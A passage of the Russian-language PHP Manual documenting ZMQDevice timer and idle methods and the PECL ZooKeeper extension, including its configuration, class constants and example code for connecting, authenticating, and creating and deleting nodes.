Получить время ожидания таймера

  • « ZMQDevice::getIdleTimeout
  • ZMQDevice::run »
  • PHP Manual
  • ZMQDevice
  • Получить время ожидания таймера

ZMQDevice::getTimerTimeout

(Информация о версии неизвестна, возможно, только в Git)

ZMQDevice::getTimerTimeout — Получить время ожидания таймера

Описание

public ZMQDevice::getTimerTimeout(): ZMQDevice

Возвращает значение времени ожидания callback-функции таймера. Добавлено в версии модуля 1.1.0.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает значение времени ожидания таймера.

User Contributed Notes

There are no user contributed notes for this page.


Запуск нового устройства

  • « ZMQDevice::getTimerTimeout
  • ZMQDevice::setIdleCallback »
  • PHP Manual
  • ZMQDevice
  • Запуск нового устройства

ZMQDevice::run

(Информация о версии неизвестна, возможно, только в Git)

ZMQDevice::run — Запуск нового устройства

Описание

public ZMQDevice::run(): void

Запускает устройство.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Запуск этого метода блокирует выполнение, пока устройство запущено. Не рекомендуется вызывать метод в интерактивных скриптах. Метод выбрасывает исключение ZMQDeviceException, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Установить callback-функцию бездействия

  • « ZMQDevice::run
  • ZMQDevice::setIdleTimeout »
  • PHP Manual
  • ZMQDevice
  • Установить callback-функцию бездействия

ZMQDevice::setIdleCallback

(Информация о версии неизвестна, возможно, только в Git)

ZMQDevice::setIdleCallback — Установить callback-функцию бездействия

Описание

public ZMQDevice::setIdleCallback(callable $cb_func, int $timeout, mixed $user_data = ?): ZMQDevice

Устанавливает callback-функцию бездействия. Если задано время ожидания простоя, то эта функция будет запущена, если цикл опроса не получит ни одного события в течение этого времени. Если функция вернёт эффективное false, то устройство будет остановлено. Сигнатура функции - (mixed $user_data).

Список параметров

cb_func

Callback-функция для запуска в случае длительного простоя. Возврат false или значения, которое приводится к false приведёт к остановке устройства.

timeout

Время ожидания простоя в миллисекундах. Callback-функция будет вызываться всякий раз, когда в течение заданного времени не будет происходить никаких событий. Гарантируется, что между запусками функции будет происходить не менее заданного количества миллисекунд.

user_data

Дополнительные данные, которые будут передаваться в callback-функцию.

Возвращаемые значения

В случае успешного выполнения возвращает текущий объект.

User Contributed Notes

There are no user contributed notes for this page.


Установить время ожидания простоя

  • « ZMQDevice::setIdleCallback
  • ZMQDevice::setTimerCallback »
  • PHP Manual
  • ZMQDevice
  • Установить время ожидания простоя

ZMQDevice::setIdleTimeout

(Информация о версии неизвестна, возможно, только в Git)

ZMQDevice::setIdleTimeout — Установить время ожидания простоя

Описание

public ZMQDevice::setIdleTimeout(int $timeout): ZMQDevice

Устанавливает значение время ожидания запуска callback-функции при простое.

Список параметров

timeout

Значение в миллисекундах.

Возвращаемые значения

Возвращает текущий объект.

User Contributed Notes

There are no user contributed notes for this page.


Установить callback-функцию по таймеру

  • « ZMQDevice::setIdleTimeout
  • ZMQDevice::setTimerTimeout »
  • PHP Manual
  • ZMQDevice
  • Установить callback-функцию по таймеру

ZMQDevice::setTimerCallback

(Информация о версии неизвестна, возможно, только в Git)

ZMQDevice::setTimerCallback — Установить callback-функцию по таймеру

Описание

public ZMQDevice::setTimerCallback(callable $cb_func, int $timeout, mixed $user_data = ?): ZMQDevice

Устанавливает callback-функцию по таймеру. Периодически запускает callback-функцию. От callback-функции простоя отличается тем, что запускается в любом случае, а не только при простое устройства. Сигнатура функции - (mixed $user_data). Добавлено в версии 1.1.0.

Список параметров

cb_func

Callback-функция для запуска по таймеру. Возврат false или значения, которое приводится к false приведёт к остановке устройства.

timeout

Время ожидания в миллисекундах. Callback-функция будет вызываться через заданные промежутки времени. Гарантирует, что между запусками функции будет происходить не менее заданного количества миллисекунд.

user_data

Дополнительные данные, которые будут передаваться в callback-функцию.

Возвращаемые значения

Возвращает текущий объект.

User Contributed Notes

There are no user contributed notes for this page.


Установить время ожидания таймера

  • « ZMQDevice::setTimerCallback
  • ZooKeeper »
  • PHP Manual
  • ZMQDevice
  • Установить время ожидания таймера

ZMQDevice::setTimerTimeout

(Информация о версии неизвестна, возможно, только в Git)

ZMQDevice::setTimerTimeout — Установить время ожидания таймера

Описание

public ZMQDevice::setTimerTimeout(int $timeout): ZMQDevice

Устанавливает время ожидания таймера. Если задана callback-функция по таймеру, то она будет вызываться с заданной частотой. Добавлено в версии модуля 1.1.0.

Список параметров

timeout

Значение времени ожидания.

Возвращаемые значения

Возвращает текущий объект.

User Contributed Notes

There are no user contributed notes for this page.


ZooKeeper

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции ZooKeeper
    • zookeeper_dispatch — Вызвать callback-функции для ожидающих операций
  • Zookeeper — Класс Zookeeper
    • Zookeeper::addAuth — Указывает учётные данные приложения
    • Zookeeper::close — Закрывает обработчик zookeeper и освобождает любые ресурсы
    • Zookeeper::connect — Создаёт дескриптор для общения с zookeeper
    • Zookeeper::__construct — Создаёт дескриптор для общения с zookeeper
    • Zookeeper::create — Создаёт синхронно узел
    • Zookeeper::delete — Удаляет синхронно узел в zookeeper
    • Zookeeper::exists — Синхронно проверяет наличие узла в zookeeper
    • Zookeeper::get — Синхронно получает данные, связанные с узлом
    • Zookeeper::getAcl — Синхронно получает ACL, связанный с узлом
    • Zookeeper::getChildren — Выводит список потомков узла синхронно
    • Zookeeper::getClientId — Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)
    • Zookeeper::getConfig — Получает экземпляр ZookeeperConfig
    • Zookeeper::getRecvTimeout — Возвращает время ожидания для сессии, действительный, только если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE). Это значение может измениться после повторного подключения к серверу
    • Zookeeper::getState — Получает состояние соединения zookeeper
    • Zookeeper::isRecoverable — Проверяет, можно ли восстановить текущее состояние подключения ZooKeeper
    • Zookeeper::set — Устанавливает данные, связанные с узлом
    • Zookeeper::setAcl — Устанавливает ACL, связанный с узлом синхронно
    • Zookeeper::setDebugLevel — Устанавливает уровень логирования для библиотеки
    • Zookeeper::setDeterministicConnOrder — Включение/отключение рандомизации порядка конечных точек кворума
    • Zookeeper::setLogStream — Устанавливает поток, который будет использоваться библиотекой для логирования
    • Zookeeper::setWatcher — Устанавливает функцию наблюдателя
  • ZookeeperConfig — Класс ZookeeperConfig
    • ZookeeperConfig::add — Добавляет серверы в ансамбль
    • ZookeeperConfig::get — Синхронно получает последнюю подтверждённую конфигурацию кластера ZooKeeper, о которой известно серверу, к которому подключён клиент
    • ZookeeperConfig::remove — Удаляет серверы из ансамбля
    • ZookeeperConfig::set — Изменяет состав ансамбля ZK и роли его участников
  • ZookeeperException — Класс ZookeeperException
  • ZookeeperAuthenticationException — Класс ZookeeperAuthenticationException
  • ZookeeperConnectionException — Класс ZookeeperConnectionException
  • ZookeeperMarshallingException — Класс ZookeeperMarshallingException
  • ZookeeperNoNodeException — Класс ZookeeperNoNodeException
  • ZookeeperOperationTimeoutException — Класс ZookeeperOperationTimeoutException
  • ZookeeperSessionException — Класс ZookeeperSessionException

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль использует библиотеку libzookeeper, чтобы предоставлять API для связи с сервером ZooKeeper.

ZooKeeper - это проект Apache, предоставляющий централизованный сервис для поддержания конфигурационной информации и наименований, предоставления возможности распределённой синхронизации и групповых сервисов.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы модуля требуется » ZooKeeper C Binding (версии 3.4.1 или выше). Более подробно смотрите » ZooKeeper Programmer's Guide.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/zookeeper.

Чтобы включить поддержку zookeeper, конфигурируйте PHP с опцией --with-libzookeeper-dir=DIR. DIR - директория в которой установлена библиотека ZooKeeper C Binding, внутри которой должен находиться include/zookeeper/zookeeper.h

DLL для этого модуля PECL пока недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Zookeeper
Имя | По умолчанию | Место изменения | История изменений
zookeeper.recv_timeout | 10000 | INI_ALL |
zookeeper.session_lock | 1 | INI_SYSTEM |
zookeeper.sess_lock_wait | 150000 | INI_ALL |
Дополнительная информация и описания режимов INI_* даны в разделе «Места установки параметров конфигурации».

Краткое разъяснение конфигурационных директив.

zookeeper.recv_timeout int

Время ожидания по умолчанию для всех сессий ZooKeeper.

zookeeper.session_lock int

Разрешает блокировку сессий PHP.

zookeeper.sess_lock_wait int

Время ожидания повтора при взаимной блокировке сессии PHP в микросекундах. Будьте осторожны, устанавливая это значение. Корректные значения - целые числа, по умолчанию используются 0. Отрицательные значения приводит к уменьшению попыток блокирования.

User Contributed Notes

There are no user contributed notes for this page.


Функции ZooKeeper

Содержание

  • zookeeper_dispatch — Вызвать callback-функции для ожидающих операций

User Contributed Notes

There are no user contributed notes for this page.


Вызвать callback-функции для ожидающих операций

  • « Функции ZooKeeper
  • Zookeeper »
  • PHP Manual
  • Функции ZooKeeper
  • Вызвать callback-функции для ожидающих операций

zookeeper_dispatch

(PECL zookeeper >= 0.4.0)

zookeeper_dispatch — Вызвать callback-функции для ожидающих операций

Описание

zookeeper_dispatch(): void

Функция zookeeper_dispatch() вызывает callback-функции, переданные операциями, такими как Zookeeper::get() или Zookeeper::exists().

Предостережение

С версии 0.4.0 эта функция должна вызываться вручную для асинхронных операций. Если вы хотите, чтобы это было сделано автоматически, вы можете объявить тики в самом начале скрипта, используя директиву declare.

После PHP 7.1 вы можете игнорировать эту функцию. Модуль использует EG (vm_interrupt) для реализации асинхронного вызова callback-функций.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Эта функция вызывает предупреждение PHP, если callback-функция не может быть вызвана.

Примеры

Пример #1 zookeeper_dispatch() example #1

Вызов callback-функций вручную.

<?php
$client = new Zookeeper();
$client->connect('localhost:2181');
$client->get('/zookeeper', function() {
echo "Была вызвана callback-функция".PHP_EOL;
});
while(true) {
sleep(1);
zookeeper_dispatch();
}
?>

Пример #2 Пример использования zookeeper_dispatch() #2

Объявление тиков.

<?php
declare(ticks=1);

$client = new Zookeeper();
$client->connect('localhost:2181');
$client->get('/zookeeper', function() {
echo "Была вызвана callback-функция".PHP_EOL;
});
while(true) {
sleep(1);
}
?>

Смотрите также

  • Zookeeper::addAuth() - Указывает учётные данные приложения
  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::exists() - Синхронно проверяет наличие узла в zookeeper
  • Zookeeper::get() - Синхронно получает данные, связанные с узлом
  • Zookeeper::getChildren() - Выводит список потомков узла синхронно
  • Zookeeper::setWatcher() - Устанавливает функцию наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Класс Zookeeper

(PECL zookeeper >= 0.1.0)

Введение

Представляет сессию ZooKeeper.

Обзор классов

class Zookeeper {
/* Методы */
public __construct(string $host = '', callable $watcher_cb = null, int $recv_timeout = 10000)
public addAuth(string $scheme, string $cert, callable $completion_cb = null): bool
public close(): void
public connect(string $host, callable $watcher_cb = null, int $recv_timeout = 10000): void
public create(
string $path,
string $value,
array $acls,
int $flags = null
): string
public delete(string $path, int $version = -1): bool
public exists(string $path, callable $watcher_cb = null): array
public get(
string $path,
callable $watcher_cb = null,
array &$stat = null,
int $max_size = 0
): string
public getAcl(string $path): array
public getChildren(string $path, callable $watcher_cb = null): array
public getClientId(): int
public getConfig(): ZookeeperConfig
public getRecvTimeout(): int
public getState(): int
public isRecoverable(): bool
public set(
string $path,
string $value,
int $version = -1,
array &$stat = null
): bool
public setAcl(string $path, int $version, array $acl): bool
public static setDebugLevel(int $logLevel): bool
public static setDeterministicConnOrder(bool $yesOrNo): bool
public setLogStream(resource $stream): bool
public setWatcher(callable $watcher_cb): bool
/* Константы */
const int PERM_READ = 1;
const int PERM_WRITE = 2;
const int PERM_CREATE = 4;
const int PERM_DELETE = 8;
const int PERM_ADMIN = 16;
const int PERM_ALL = 31;
const int EPHEMERAL = 1;
const int SEQUENCE = 2;
const int LOG_LEVEL_ERROR = 1;
const int LOG_LEVEL_WARN = 2;
const int LOG_LEVEL_INFO = 3;
const int LOG_LEVEL_DEBUG = 4;
const int EXPIRED_SESSION_STATE = -112;
const int AUTH_FAILED_STATE = -113;
const int CONNECTING_STATE = 1;
const int ASSOCIATING_STATE = 2;
const int CONNECTED_STATE = 3;
const int READONLY_STATE = 5;
const int NOTCONNECTED_STATE = 999;
const int CREATED_EVENT = 1;
const int DELETED_EVENT = 2;
const int CHANGED_EVENT = 3;
const int CHILD_EVENT = 4;
const int SESSION_EVENT = -1;
const int NOTWATCHING_EVENT = -2;
const int SYSTEMERROR = -1;
const int RUNTIMEINCONSISTENCY = -2;
const int DATAINCONSISTENCY = -3;
const int CONNECTIONLOSS = -4;
const int MARSHALLINGERROR = -5;
const int UNIMPLEMENTED = -6;
const int OPERATIONTIMEOUT = -7;
const int BADARGUMENTS = -8;
const int INVALIDSTATE = -9;
const int NEWCONFIGNOQUORUM = -13;
const int RECONFIGINPROGRESS = -14;
const int OK = 0;
const int APIERROR = -100;
const int NONODE = -101;
const int NOAUTH = -102;
const int BADVERSION = -103;
const int NOCHILDRENFOREPHEMERALS = -108;
const int NODEEXISTS = -110;
const int NOTEMPTY = -111;
const int SESSIONEXPIRED = -112;
const int INVALIDCALLBACK = -113;
const int INVALIDACL = -114;
const int AUTHFAILED = -115;
const int CLOSING = -116;
const int NOTHING = -117;
const int SESSIONMOVED = -118;
const int NOTREADONLY = -119;
const int EPHEMERALONLOCALSESSION = -120;
const int NOWATCHER = -121;
const int RECONFIGDISABLED = -122;
}

Предопределённые константы

Разрешения ZooKeeper

Zookeeper::PERM_READ

Можно читать значение узла и список дочерних узлов

Zookeeper::PERM_WRITE

Можно устанавливать значение узла

Zookeeper::PERM_CREATE

Можно создавать дочерние элементы

Zookeeper::PERM_DELETE

Можно удалять дочерние элементы

Zookeeper::PERM_ADMIN

Можно запускать set_acl()

Zookeeper::PERM_ALL

Можно использовать все вышеуказанные флаги вместе

Флаги создания ZooKeeper

Zookeeper::EPHEMERAL

Если установлен флаг Zookeeper::EPHEMERAL, узел будет автоматически удалён по завершению клиентской сессии.

Zookeeper::SEQUENCE

Если установлен флаг Zookeeper::SEQUENCE, к имени пути будет добавляться уникальный номер из монотонно возрастающей последовательности. Номер из последовательности всегда имеет фиксированную длину в 10 цифр, дополненную лидирующими нулями по необходимости.

Уровень логирования ZooKeeper

Zookeeper::LOG_LEVEL_ERROR

Выводить только сообщения об ошибках

Zookeeper::LOG_LEVEL_WARN

Выводить ошибки и предупреждения

Zookeeper::LOG_LEVEL_INFO

Выводить большие сообщения о действиях помимо ошибок и предупреждений

Zookeeper::LOG_LEVEL_DEBUG

Выводить все

Состояния ZooKeeper

Zookeeper::EXPIRED_SESSION_STATE

Соединение установлено, но сессия истекла

Zookeeper::AUTH_FAILED_STATE

Соединение установлено, но аутентификация неудачная

Zookeeper::CONNECTING_STATE

Устанавливается соединение

Zookeeper::ASSOCIATING_STATE

Ассоциирование

Zookeeper::CONNECTED_STATE

Соединение установлено

Zookeeper::READONLY_STATE

TODO: помогите нам улучшить модуль

Zookeeper::NOTCONNECTED_STATE

Соединение не установлено

Типы событий ZooKeeper

Zookeeper::CREATED_EVENT

Узел был создан

Генерируется только путём наблюдения за несуществующими узлами. Эти наблюдатели задаются с помощью Zookeeper::exists.

Zookeeper::DELETED_EVENT

Узел был удалён

Генерируется только путём наблюдения за узлами. Эти наблюдатели задаются с помощью Zookeeper::exists и Zookeeper::get.

Zookeeper::CHANGED_EVENT

Узел был изменён

Генерируется только путём наблюдения за узлами. Эти наблюдатели задаются с помощью Zookeeper::exists и Zookeeper::get.

Zookeeper::CHILD_EVENT

Произошло изменение в списке дочерних узлов

Генерируется только путём наблюдения за списком дочерних узлов. Эти наблюдатели задаются с помощью Zookeeper::getChildren.

Zookeeper::SESSION_EVENT

Сессия была потеряна

Генерируется когда клиент потерял соединение с сервером, либо инициировал пересоединение.

Zookeeper::NOTWATCHING_EVENT

Наблюдатель был удалён

Генерируется сервером по разным причинам, например связанным с ограничением ресурса, и говорит о том, что дальнейшее наблюдение за узлом невозможно.

Системные ошибки и ошибки на стороне сервера ZooKeeper

Zookeeper::SYSTEMERROR

Никогда не выбрасывается сервером и может использоваться только для ограничения диапазона кодов ошибок. Все ошибки большие этой, но меньшие Zookeeper::APIERROR, являются системными ошибками.

Zookeeper::RUNTIMEINCONSISTENCY

Обнаружена несогласованность во время выполнения.

Zookeeper::DATAINCONSISTENCY

Обнаружена несогласованность данных.

Zookeeper::CONNECTIONLOSS

Потеряно соединение с сервером.

Zookeeper::MARSHALLINGERROR

Ошибка при маршалинге и демаршалинге данных.

Zookeeper::UNIMPLEMENTED

Операция не реализована.

Zookeeper::OPERATIONTIMEOUT

Превышение времени ожидания операции.

Zookeeper::BADARGUMENTS

Некорректный аргумент.

Zookeeper::INVALIDSTATE

Некорректный статус zhandle.

Zookeeper::NEWCONFIGNOQUORUM

Кворум новой конфигурации не подключён и не синхронизирован с лидером последней подтверждённой конфигурации. Попробуйте запустить переконфигурацию после подключения и синхронизации новых серверов.

Доступно с версии ZooKeeper 3.5.0

Zookeeper::RECONFIGINPROGRESS

Запрос переконфигурации во время работы другого процесса переконфигурации. В данный момент не поддерживается. Попробуйте повторить позже.

Доступно с версии ZooKeeper 3.5.0

ZooKeeper API Errors

Zookeeper::OK

Все хорошо.

Zookeeper::APIERROR

Никогда не выбрасывается сервером и может использоваться только для ограничения диапазона кодов ошибок. Все ошибки большие этой, являются ошибками API (значения меньшие данного означают системные ошибки).

Zookeeper::NONODE

Узел отсутствует.

Zookeeper::NOAUTH

Отсутствует аутентификация.

Zookeeper::BADVERSION

Конфликт версий.

Zookeeper::NOCHILDRENFOREPHEMERALS

Эфемерные узлы не должны иметь потомков.

Zookeeper::NODEEXISTS

Узел уже существует.

Zookeeper::NOTEMPTY

Узел имеет потомков.

Zookeeper::SESSIONEXPIRED

Срок действия сессии истёк.

Zookeeper::INVALIDCALLBACK

Задана некорректная функция обратного вызова.

Zookeeper::INVALIDACL

Задан некорректный ACL.

Zookeeper::AUTHFAILED

Неудачная аутентификация клиента.

Zookeeper::CLOSING

ZooKeeper закрывается.

Zookeeper::NOTHING

(не ошибка) Никакого ответа от сервера для обработки.

Zookeeper::SESSIONMOVED

Сессия перемещена на другой сервер, таким образом операция проигнорирована.

Zookeeper::NOTREADONLY

Запрос изменения статуса отправлен на сервер с режимом "только чтение".

Zookeeper::EPHEMERALONLOCALSESSION

Попытка создать эфемерный узел в локальной сессии.

Zookeeper::NOWATCHER

Невозможно найти наблюдателя.

Zookeeper::RECONFIGDISABLED

Попытка произвести операцию переконфигурации в случае если она запрещена.

Содержание

  • Zookeeper::addAuth — Указывает учётные данные приложения
  • Zookeeper::close — Закрывает обработчик zookeeper и освобождает любые ресурсы
  • Zookeeper::connect — Создаёт дескриптор для общения с zookeeper
  • Zookeeper::__construct — Создаёт дескриптор для общения с zookeeper
  • Zookeeper::create — Создаёт синхронно узел
  • Zookeeper::delete — Удаляет синхронно узел в zookeeper
  • Zookeeper::exists — Синхронно проверяет наличие узла в zookeeper
  • Zookeeper::get — Синхронно получает данные, связанные с узлом
  • Zookeeper::getAcl — Синхронно получает ACL, связанный с узлом
  • Zookeeper::getChildren — Выводит список потомков узла синхронно
  • Zookeeper::getClientId — Возвращает идентификатор сессии клиента, действителен только в том случае, если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE)
  • Zookeeper::getConfig — Получает экземпляр ZookeeperConfig
  • Zookeeper::getRecvTimeout — Возвращает время ожидания для сессии, действительный, только если соединения в настоящее время подключены (т.е. последнее состояние наблюдателя - ZOO_CONNECTED_STATE). Это значение может измениться после повторного подключения к серверу
  • Zookeeper::getState — Получает состояние соединения zookeeper
  • Zookeeper::isRecoverable — Проверяет, можно ли восстановить текущее состояние подключения ZooKeeper
  • Zookeeper::set — Устанавливает данные, связанные с узлом
  • Zookeeper::setAcl — Устанавливает ACL, связанный с узлом синхронно
  • Zookeeper::setDebugLevel — Устанавливает уровень логирования для библиотеки
  • Zookeeper::setDeterministicConnOrder — Включение/отключение рандомизации порядка конечных точек кворума
  • Zookeeper::setLogStream — Устанавливает поток, который будет использоваться библиотекой для логирования
  • Zookeeper::setWatcher — Устанавливает функцию наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Указывает учётные данные приложения

  • « Zookeeper
  • Zookeeper::close »
  • PHP Manual
  • Zookeeper
  • Указывает учётные данные приложения

Zookeeper::addAuth

(PECL zookeeper >= 0.1.0)

Zookeeper::addAuth — Указывает учётные данные приложения

Описание

public Zookeeper::addAuth(string $scheme, string $cert, callable $completion_cb = null): bool

Приложение вызывает эту функцию, чтобы указать свои учётные данные для целей аутентификации. Сервер будет использовать провайдера безопасности, указанного в параметре схемы, для аутентификации клиентского соединения. Если запрос аутентификации не удался: - соединение с сервером будет разорвано. - наблюдатель вызывается со значением ZOO_AUTH_FAILED_STATE в качестве параметра состояния.

Список параметров

scheme

Идентификатор схемы аутентификации. Встроенная поддержка: "digest" аутентификации на основе пароля

cert

Учётные данные приложения. Фактическое значение зависит от схемы.

completion_cb

Подпрограмма, чтобы вызвать, когда запрос завершается. Один из следующих кодов результата может быть передан в callback-функцию завершения: - Операция ZOK успешно завершена - ZAUTHFAILED аутентификация не удалась

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт PHP-сообщение об ошибке/предупреждение, когда количество параметров или типы неверны или операция завершается неудачно.

Предостережение

Начиная с версии 0.3.0, метод генерирует исключение ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::addAuth()

Добавление аутентификации перед запросом значения узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$value = 'nodevalue';
$zookeeper->set($path, $value);

$zookeeper->addAuth('digest', 'user0:passwd0');
$r = $zookeeper->get($path);
if ($r)
echo $r;
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

nodevalue

Смотрите также

  • Zookeeper::create() - Создаёт синхронно узел
  • Zookeeper::setAcl() - Устанавливает ACL, связанный с узлом синхронно
  • Zookeeper::getAcl() - Синхронно получает ACL, связанный с узлом
  • Состояния ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Закрывает обработчик zookeeper и освобождает любые ресурсы

  • « Zookeeper::addAuth
  • Zookeeper::connect »
  • PHP Manual
  • Zookeeper
  • Закрывает обработчик zookeeper и освобождает любые ресурсы

Zookeeper::close

(PECL zookeeper >= 0.5.0)

Zookeeper::close — Закрывает обработчик zookeeper и освобождает любые ресурсы

Описание

public Zookeeper::close(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Метод генерирует ZookeeperException и его производные при закрытии неинициализированного экземпляра.

Смотрите также

  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Создаёт дескриптор для общения с zookeeper

  • « Zookeeper::close
  • Zookeeper::__construct »
  • PHP Manual
  • Zookeeper
  • Создаёт дескриптор для общения с zookeeper

Zookeeper::connect

(PECL zookeeper >= 0.2.0)

Zookeeper::connect — Создаёт дескриптор для общения с zookeeper

Описание

public Zookeeper::connect(string $host, callable $watcher_cb = null, int $recv_timeout = 10000): void

Метод создаёт новый дескриптор и сеанс zookeeper, который соответствует этому дескриптору. Установление сеанса асинхронное, поэтому сеанс не следует считать установленным до тех пор, пока не будет получено событие состояния ZOO_CONNECTED_STATE.

Список параметров

host

Разделённые запятыми пары host:port, каждая из которых соответствует zk-серверу. Например, "127.0.0.1:3000,127.0.0.1:3001,127.0.0.1:3002"

watcher_cb

Callback-функция глобального наблюдателя. Когда инициируются уведомления, эта функция будет вызвана.

recv_timeout

Время ожидания для сеанса, действителен, только если соединения в данный момент подключены (т.е. состояние последнего наблюдателя ZOO_CONNECTED_STATE).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Метод выдаёт PHP сообщение об ошибке/предупреждение, когда количество параметров или их типы неверны или не удалось инициализировать экземпляр.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает исключение ZookeeperException и его производные.

Смотрите также

  • Zookeeper::__construct() - Создаёт дескриптор для общения с zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Создаёт дескриптор для общения с zookeeper

  • « Zookeeper::connect
  • Zookeeper::create »
  • PHP Manual
  • Zookeeper
  • Создаёт дескриптор для общения с zookeeper

Zookeeper::__construct

(PECL zookeeper >= 0.1.0)

Zookeeper::__construct — Создаёт дескриптор для общения с zookeeper

Описание

public Zookeeper::__construct(string $host = '', callable $watcher_cb = null, int $recv_timeout = 10000)

Метод создаёт новый дескриптор и сеанс zookeeper, который соответствует этому дескриптору. Установление сеанса асинхронное, поэтому сеанс не следует считать установленным до тех пор, пока не будет получено событие состояния ZOO_CONNECTED_STATE.

Список параметров

host

Разделённые запятыми пары host:port, каждая из которых соответствует zk-серверу. Например, "127.0.0.1:3000,127.0.0.1:3001,127.0.0.1:3002"

watcher_cb

Callback-функция глобального наблюдателя. Когда инициируются уведомления, эта функция будет вызвана.

recv_timeout

Время ожидания для сеанса, действителен, только если соединения в данный момент подключены (т.е. состояние последнего наблюдателя ZOO_CONNECTED_STATE).

Ошибки

Метод выдаёт PHP сообщение об ошибке/предупреждение, когда количество параметров или их типы неверны или не удалось инициализировать экземпляр.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает исключение ZookeeperException и его производные.

Смотрите также

  • Zookeeper::connect() - Создаёт дескриптор для общения с zookeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Создаёт синхронно узел

  • « Zookeeper::__construct
  • Zookeeper::delete »
  • PHP Manual
  • Zookeeper
  • Создаёт синхронно узел

Zookeeper::create

(PECL zookeeper >= 0.1.0)

Zookeeper::create — Создаёт синхронно узел

Описание

public Zookeeper::create(
string $path,
string $value,
array $acls,
int $flags = null
): string

Метод создаст узел в ZooKeeper. Узел может быть создан только в том случае, если он ещё не существует. Флаги создания влияют на создание узлов. Если установлен флаг ZOO_EPHEMERAL, узел автоматически удаляется, если сеанс клиента завершается. Если установлен флаг ZOO_SEQUENCE, к имени пути добавляется уникальный монотонно увеличивающийся порядковый номер.

Список параметров

path

Название узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

value

Данные для хранения в узле.

acls

Начальный ACL узла. ACL не должен быть нулевым или пустым.

flags

Может быть 0 для обычного создания или с указанием флагов создания.

Возвращаемые значения

Возвращает путь нового узла (он может отличаться от указанного пути из-за флага ZOO_SEQUENCE) в случае успешного выполнения и false в случае возникновения ошибки.

Ошибки

Метод выдаёт PHP сообщение об ошибке/предупреждение, когда количество параметров или их типы неверны или не удалось создать узел.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает исключение ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::create()

Создание нового узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$aclArray = array(
array(
'perms' => Zookeeper::PERM_ALL,
'scheme' => 'world',
'id' => 'anyone',
)
);
$path = '/path/to/newnode';
$realPath = $zookeeper->create($path, null, $aclArray);
if ($realPath)
echo $realPath;
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

/path/to/newnode

Смотрите также

  • Zookeeper::delete() - Удаляет синхронно узел в zookeeper
  • Zookeeper::getChildren() - Выводит список потомков узла синхронно
  • Разрешения ZooKeeper
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Удаляет синхронно узел в zookeeper

  • « Zookeeper::create
  • Zookeeper::exists »
  • PHP Manual
  • Zookeeper
  • Удаляет синхронно узел в zookeeper

Zookeeper::delete

(PECL zookeeper >= 0.2.0)

Zookeeper::delete — Удаляет синхронно узел в zookeeper

Описание

public Zookeeper::delete(string $path, int $version = -1): bool

Список параметров

path

Название узла. Выражается как имя файла с косой чертой, разделяющей предков узла.

version

Ожидаемая версия узла. Функция завершится ошибкой, если фактическая версия узла не соответствует ожидаемой версии. Если используется -1, проверка версии не будет выполняться.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

Метод выдаёт PHP сообщение об ошибке/предупреждение, когда количество параметров или их типы неверны или не удалось удалить узел.

Предостережение

Начиная с версии 0.3.0, метод выбрасывает исключение ZookeeperException и его производные.

Примеры

Пример #1 Пример использования Zookeeper::delete()

Удаление существующего узла.

<?php
$zookeeper = new Zookeeper('locahost:2181');
$path = '/path/to/node';
$r = $zookeeper->delete($path);
if ($r)
echo 'Успешное выполнение';
else
echo 'Ошибка';
?>

Результат выполнения приведённого примера:

Успешное выполнение

Смотрите также

  • Zookeeper::create() - Создаёт синхронно узел
  • Zookeeper::getChildren() - Выводит список потомков узла синхронно
  • ZookeeperException

User Contributed Notes

There are no user contributed notes for this page.


Синхронно проверяет наличие узла в zookeeper

  • « Zookeeper::delete
  • Zookeeper::get »
  • PHP Manual
  • Zookeeper
  • Синхронно проверяет наличие узла в zookeeper

Zookeeper::exists

(PECL zookeeper >= 0.1.0)

